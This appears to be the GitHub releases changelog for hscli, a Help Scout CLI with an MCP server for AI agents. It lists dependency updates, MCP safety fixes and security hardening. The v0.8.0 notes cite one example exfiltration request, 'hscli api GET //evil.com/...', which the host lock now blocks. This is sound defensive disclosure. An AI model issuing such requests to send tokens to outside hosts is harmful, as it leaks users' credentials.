Releases: wavyx/hscli
Releases · wavyx/hscli
Release list
v0.11.2
Dependency refresh — no functional changes.
Changed
- Dependencies: js-yaml 4 → 5 (now ESM-only with named exports; internal import updated, YAML output unchanged), oclif framework updates (
@oclif/core4.11.14 and plugins),undici8.7.0,tar7.5.19,ora9.4.1, andhono4.12.28 (transitive, via the MCP SDK). Dev tooling (eslint, prettier, vitest, nock) and website deps (astro, starlight, esbuild) refreshed alongside. - Build: every dependency in
package.jsonis now pinned to an exact version (removed the last caret ranges onjs-yaml,@modelcontextprotocol/sdk, andzod). - CI: workflows now use
actions/checkoutv7.
v0.11.1
Stability pass (from an in-depth adversarial review).
Fixed
- Reliability: pagination no longer loops forever on a non-numeric
pagesvalue (both API clients); the 429 backoff no longer busy-loops whenRetry-Afteris non-numeric (e.g. an HTTP-date) — both now fall back to a sane delay / terminate. - MCP — safety & robustness:
- Tool argument values can no longer be reinterpreted as CLI flags (argv injection): flags are passed as
--name=valueand positional args after a--separator. - A signal-killed tool subprocess is reported as an error instead of silent success with partial output.
- Tool calls now have a timeout and an output-size cap, so a hung or runaway command can't hang or OOM the server.
mcp serveforwards the active--profileto tool calls (previously they silently ran under the default account).- Integer arguments accept JSON numbers (
{id: 123}), not only strings. auth login/logout/refresh/setupanddocs authare no longer exposed as tools (they manage local credentials and can open a browser / bind a port on the host);workflow runis now flagged destructive; the inertyesinput was removed from delete tools.
- Tool argument values can no longer be reinterpreted as CLI flags (argv injection): flags are passed as
- Homebrew:
--jqnow works — the formula depends onjqand points node-jq at it (its bundled binary can't be downloaded in the Homebrew sandbox). - Reports:
--output csv/tablenow fail with a clear message (reports are nested JSON) instead of emitting nothing. - Docs API:
--text @missing-filenow reports a clear error instead of a raw stack trace. - Keychain: a write with no usable keychain (e.g. in a container) gives the friendly "keychain unavailable" guidance instead of a raw
PermissionDenied.
v0.11.0
Added
- Distribution beyond npm:
- Docker —
docker run --rm ghcr.io/wavyx/hscli --help. Built and pushed to GHCR by the release workflow. - Homebrew —
brew tap wavyx/tap && brew install hscli(macOS/Linux). - Scoop —
scoop bucket add hscli https://github.com/wavyx/scoop-hscli && scoop install hscli(Windows). - npm stays the source of truth;
scripts/gen-dist.mjsregenerates the Homebrew formula + Scoop manifest from the published tarball (with its sha256).
- Docker —
auth status --output jsonemits a structured status object (profile, keychain, token state, user) — handy for scripts and as a structured MCP tool result.
Changed
- MCP:
mcp serveno longer advertises the output-shaping global flags (--output/--jq/--fields/--timeout/--no-retry/--verbose/--no-color) it never uses; it keeps--profileand--allow-writes.
v0.10.2
Added
- Home page: a featured MCP section showcasing
hscli mcp servefor AI agents, alongside the Docs block.
Changed
- MCP: no longer expose
doctor(a local-environment diagnostic that makes a live network probe) ormcp serveitself (calling it would spawn a nested server) as tools; read tools now carryidempotentHintso clients can cache/retry them safely.
v0.10.1
Fixed
- MCP: bulk operations (
conv bulk-status) now carry the MCPdestructiveHint, so clients prompt before running them — previously onlydelete/removetools were flagged. Corrected the MCP guide to describe exactly which tools are marked destructive (delete/remove/bulk) versus plain writes (create/update).
v0.10.0
Added
- MCP server —
hscli mcp serve. Run hscli as a Model Context Protocol server over stdio so AI agents (Claude Desktop, Claude Code, …) drive Help Scout through native tools. One tool per command, generated from the command manifest so it stays in sync.- Reads by default, writes opt-in. Only read-only tools are exposed unless started with
--allow-writes; mutating tools carry MCPdestructiveHint/readOnlyHintannotations so clients can confirm dangerous calls. - Each tool call runs the CLI as a child process (keeping the stdio protocol channel clean) and returns the command's JSON as
structuredContent. Theapiescape hatch, streamingconv watch, and bundled oclif plugin commands are not exposed. - Reuses the existing OS-keychain OAuth token and Docs API key — the server runs as you.
- Reads by default, writes opt-in. Only read-only tools are exposed unless started with
- New MCP guide with Claude Desktop / Claude Code configuration.
v0.9.0
Added
- Help Scout Docs API support — a new
hscli docscommand group for the knowledge base. Docs is a separate product and authenticates with its own per-user API key, independent of the Mailbox OAuth login:docs auth— validate and store the Docs API key in the OS keychain (or passHSCLI_DOCS_API_KEYfor CI).- Read & search:
docs site list|get,docs collection list|get,docs category list,docs article list|get|search. - Articles:
docs article create|update|delete, plusdocs article save-draft|delete-draft. - Collections & categories:
docs collection create|update|delete,docs category create|update|delete. - The Docs client is host-locked to
docsapi.helpscout.netand shares hscli's retry/backoff, rate-limit handling, structured--output table|json|yaml|csv, and deterministic exit codes.
- Documentation: a new Docs (knowledge base) guide, separate-API-key coverage in the authentication guide, and a home-page recipe showing an agent turning inbox patterns into published articles. The generated command reference now spans all 88 commands.
v0.8.1
Changed
- CI, release, and docs workflows now run on Node-24 action majors —
actions/checkout@v6,actions/setup-node@v6,codecov/codecov-action@v6,actions/upload-pages-artifact@v5,actions/deploy-pages@v5— clearing the Node-20 GitHub Actions runner deprecation. - Docs site migrated off the deprecated top-level
markdown.smartypants/markdown.remarkPluginsoptions to the Astro 6.4markdown.processor: unified({ … })API (the old options are removed in Astro 8.0). No output change — code samples keep literal--flagsand straight quotes. - Routine minor/patch dependency bumps (Dependabot):
@inquirer/prompts,@oclif/plugin-help,@oclif/plugin-plugins,js-yaml,tar,eslint,oclif,vitest,@vitest/coverage-v8.
v0.8.0
Changed
- BREAKING: the binary is now
hscliinstead ofhsto avoid a global-install collision with the HubSpot CLI (which also installshs). Update scripts and aliases accordingly.
Security
hscli apiis now host-locked. Requests whose path resolves to any host other thanapi.helpscout.netare refused, closing a token-exfiltration vector (e.g.hscli api GET //evil.com/...).- Token storage hard-fails when no OS keychain is available. hscli no longer falls back to a weakly-obfuscated file; it refuses to write credentials to disk in plaintext (BREAKING for environments without a system keychain).
- The Authorization Code login now binds the loopback callback to the fixed port
9999, matching the Redirection URL thehscli auth setupwizard registers, and fails with a clear message if the port is in use. - All API requests now send a
hscli/<version>User-Agent.
Added
LICENSE(MIT),SECURITY.md,CODE_OF_CONDUCT.md, issue/PR templates, and Dependabot config.- Automated release workflow (tag-triggered npm publish with provenance via OIDC trusted publishing + GitHub Release).
- Test coverage is now gated at 90% in CI;
CHANGELOG.mdships in the npm tarball.